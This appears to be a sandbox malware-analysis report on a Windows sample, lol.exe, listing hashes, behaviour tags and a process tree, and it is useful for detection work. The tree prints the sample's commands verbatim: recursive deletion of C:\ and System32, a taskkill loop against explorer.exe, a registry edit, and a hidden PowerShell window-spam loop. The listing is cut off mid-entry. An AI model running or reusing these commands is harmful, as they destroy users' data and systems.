b6e93be8c7369752d164eeb0b1723e499ac4c6a4e478de8d08fa3652a5999c0c

Analysis

user interaction
yes
max time kernel
150s
max time network
165s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260130-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
11/05/2026, 15:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lol.exe
Size 122KB
Sample260511-spm4ssds3v
SHA256 b6e93be8c7369752d164eeb0b1723e499ac4c6a4e478de8d08fa3652a5999c0c
MD5 92dd9e96135cd161944b70eedce86363
SHA1 b244a802dbc65da978e75ad5807dee635812fbb9
SHA512 16563abf43628e1c2e8f3c5364bfa1870202fa5378eab49379381a4942d8bc6547ba7621eaa046c8cd0454d6f50bc1b9f8f53112d93e1688e3129e7996d79922
SSDEEP 3072:AV3J6kkt5h1X+HqTi0BW69hd1MMdxPe9N9uA0/+hL9TBfnPCTk:Nt5hBPi0BW69hd1MMdxPe9N9uA069TBj
TLSH
T1A6C3275AB2E01198EBF581F6D5920746EB7074721715A3DB5BB863B31B2B8C58F3C3A0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access defense_evasion discovery execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3668	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\rteth.sys	cmd.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2605425648-1229640847-2920638550-1000\Control Panel\International\Geo\Nation	lol.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\nx3mvy.exe	cmd.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa	cmd.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\server\classes.jsa	cmd.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Globalization\ICU\icudtl.dat	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 14 IoCs

defense_evasion

pid	Process
3820	timeout.exe
5280	timeout.exe
5600	timeout.exe
1476	timeout.exe
1544	timeout.exe
4600	timeout.exe
6108	timeout.exe
5464	timeout.exe
4568	timeout.exe
3360	timeout.exe
6052	timeout.exe
3548	timeout.exe
972	timeout.exe
680	timeout.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe
3668	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3668	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3668	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4820 wrote to memory of 4872	4820	lol.exe	92
PID 4872 wrote to memory of 5748	4872	cmd.exe	94
PID 4872 wrote to memory of 4240	4872	cmd.exe	95
PID 4872 wrote to memory of 416	4872	cmd.exe	97
PID 4872 wrote to memory of 5632	4872	cmd.exe	98
PID 4872 wrote to memory of 4760	4872	cmd.exe	99
PID 4872 wrote to memory of 6064	4872	cmd.exe	100
PID 4872 wrote to memory of 2120	4872	cmd.exe	102
PID 4872 wrote to memory of 5840	4872	cmd.exe	103
PID 4872 wrote to memory of 3668	4872	cmd.exe	104
PID 4872 wrote to memory of 4568	4872	cmd.exe	108
PID 3668 wrote to memory of 4696	3668	powershell.exe	109
PID 4872 wrote to memory of 5600	4872	cmd.exe	110
PID 4696 wrote to memory of 3172	4696	csc.exe	111
PID 3668 wrote to memory of 2272	3668	powershell.exe	112
PID 4872 wrote to memory of 3360	4872	cmd.exe	114
PID 3668 wrote to memory of 5004	3668	powershell.exe	115
PID 3668 wrote to memory of 4440	3668	powershell.exe	117
PID 4872 wrote to memory of 6052	4872	cmd.exe	119
PID 3668 wrote to memory of 848	3668	powershell.exe	120
PID 4872 wrote to memory of 1476	4872	cmd.exe	122
PID 3668 wrote to memory of 2456	3668	powershell.exe	123
PID 4872 wrote to memory of 3548	4872	cmd.exe	126
PID 3668 wrote to memory of 3656	3668	powershell.exe	127
PID 3668 wrote to memory of 4680	3668	powershell.exe	129
PID 3668 wrote to memory of 4264	3668	powershell.exe	131
PID 4872 wrote to memory of 972	4872	cmd.exe	133
PID 3668 wrote to memory of 3064	3668	powershell.exe	134
PID 3668 wrote to memory of 5100	3668	powershell.exe	136
PID 4872 wrote to memory of 1544	4872	cmd.exe	138
PID 3668 wrote to memory of 3324	3668	powershell.exe	139
PID 4872 wrote to memory of 4600	4872	cmd.exe	141
PID 3668 wrote to memory of 5744	3668	powershell.exe	142
PID 3668 wrote to memory of 2260	3668	powershell.exe	144
PID 4872 wrote to memory of 680	4872	cmd.exe	146
PID 3668 wrote to memory of 3068	3668	powershell.exe	147
PID 4872 wrote to memory of 6108	4872	cmd.exe	149
PID 3668 wrote to memory of 4604	3668	powershell.exe	150
PID 4872 wrote to memory of 3820	4872	cmd.exe	152
PID 3668 wrote to memory of 4408	3668	powershell.exe	153
PID 4872 wrote to memory of 5464	4872	cmd.exe	155
PID 3668 wrote to memory of 5584	3668	powershell.exe	156
PID 4872 wrote to memory of 5280	4872	cmd.exe	158
PID 3668 wrote to memory of 6044	3668	powershell.exe	159
PID 3668 wrote to memory of 2428	3668	powershell.exe	162
PID 3668 wrote to memory of 4332	3668	powershell.exe	164
PID 3668 wrote to memory of 4140	3668	powershell.exe	166
PID 3668 wrote to memory of 4652	3668	powershell.exe	168
PID 3668 wrote to memory of 4420	3668	powershell.exe	170
PID 3668 wrote to memory of 4584	3668	powershell.exe	172
PID 3668 wrote to memory of 1488	3668	powershell.exe	174
PID 3668 wrote to memory of 5296	3668	powershell.exe	176
PID 3668 wrote to memory of 4552	3668	powershell.exe	178
PID 3668 wrote to memory of 3088	3668	powershell.exe	180
PID 3668 wrote to memory of 2532	3668	powershell.exe	182
PID 3668 wrote to memory of 4760	3668	powershell.exe	184
PID 3668 wrote to memory of 5752	3668	powershell.exe	186
PID 3668 wrote to memory of 5160	3668	powershell.exe	188
PID 3668 wrote to memory of 1584	3668	powershell.exe	190
PID 3668 wrote to memory of 5072	3668	powershell.exe	192
PID 3668 wrote to memory of 3372	3668	powershell.exe	194
PID 3668 wrote to memory of 3028	3668	powershell.exe	196
PID 3668 wrote to memory of 5832	3668	powershell.exe	198
PID 3668 wrote to memory of 4632	3668	powershell.exe	200

C:\Users\Admin\AppData\Local\Temp\lol.exe
"C:\Users\Admin\AppData\Local\Temp\lol.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4820
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\817F.tmp\8190.tmp\8191.bat C:\Users\Admin\AppData\Local\Temp\lol.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4872
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoRestartShell /t REG_DWORD /d 0 /f
    3⤵
    PID:5748
- - C:\Windows\system32\cmd.exe
    cmd /c ":p─Ötla & taskkill /f /im explorer.exe >nul 2>&1 & goto p─Ötla"
    3⤵
    PID:4240
- - C:\Windows\system32\cmd.exe
    cmd /c ":p─Ötla & taskkill /f /im explorer.exe >nul 2>&1 & goto p─Ötla"
    3⤵
    PID:416
- - C:\Windows\system32\cmd.exe
    cmd /c ":p─Ötla & taskkill /f /im explorer.exe >nul 2>&1 & goto p─Ötla"
    3⤵
    PID:5632
- - C:\Windows\system32\cmd.exe
    cmd /c ":p─Ötla & taskkill /f /im explorer.exe >nul 2>&1 & goto p─Ötla"
    3⤵
    PID:4760
- - C:\Windows\system32\cmd.exe
    cmd /c ":p─Ötla & taskkill /f /im explorer.exe >nul 2>&1 & goto p─Ötla"
    3⤵
    PID:6064
- - C:\Windows\system32\cmd.exe
    cmd /c "del /s /f /q C:\Windows\System32\*.* >nul 2>&1"
    3⤵
    - Drops file in Drivers directory
    - Drops file in System32 directory
    PID:2120
- - C:\Windows\system32\cmd.exe
    cmd /c "del /s /f /q C:\*.* >nul 2>&1"
    3⤵
    - Drops file in Program Files directory
    - Drops file in Windows directory
    PID:5840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "$w = Add-Type -MemberDefinition '[DllImport(\"user32.dll\")] public static extern bool SetWindowPos(IntPtr h, IntPtr hw, int x, int y, int cx, int cy, uint f);' -Name 'Win32' -PassThru; while($true) { start-process cmd -ArgumentList '/c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause' -WindowStyle Normal; $hwnd = (Get-Process -Name cmd | Select-Object -Last 1).MainWindowHandle; $x = Get-Random -Min 0 -Max 1000; $y = Get-Random -Min 0 -Max 700; $w::SetWindowPos($hwnd, 0, $x, $y, 300, 150, 0x0040); Start-Sleep -Milliseconds 800 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3668
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\renaqd4v\renaqd4v.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4696
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES88F2.tmp" "c:\Users\Admin\AppData\Local\Temp\renaqd4v\CSCCCBC69BD3B634BA198A8234ED3FB154.TMP"
        5⤵
        
        PID:3172
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:2272
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:5004
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4440
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:848
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:2456
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:3656
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4680
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4264
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:3064
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:5100
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:3324
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:5744
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:2260
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:3068
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4604
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4408
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:5584
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6044
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:2428
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4332
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4140
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4652
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4420
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4584
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:1488
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:5296
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4552
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:3088
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:2532
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4760
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:5752
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:5160
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:1584
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:5072
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:3372
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:3028
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:5832
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4632
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4244
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:464
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:2468
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6108
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:1432
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:5732
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6060
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:2992
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6016
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4188
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4904
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:872
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:3264
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:2160
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4272
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6192
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6252
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6312
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6380
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6448
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6500
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6572
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6640
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6692
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6744
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6804
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6860
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6920
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6988
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7040
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7104
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7164
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:2504
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:2608
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:3404
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4892
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7052
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4640
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:6756
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:1464
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4280
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:3880
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:5876
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:4848
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7208
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7260
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7312
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7372
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7428
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7480
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7532
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7588
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c color a & title WOJAN3K & echo WOJAN3K TU JEST I NIE ODPUSZCZA! & pause
      4⤵
      PID:7644
  - - C:\Windows\system32\cmd.exe
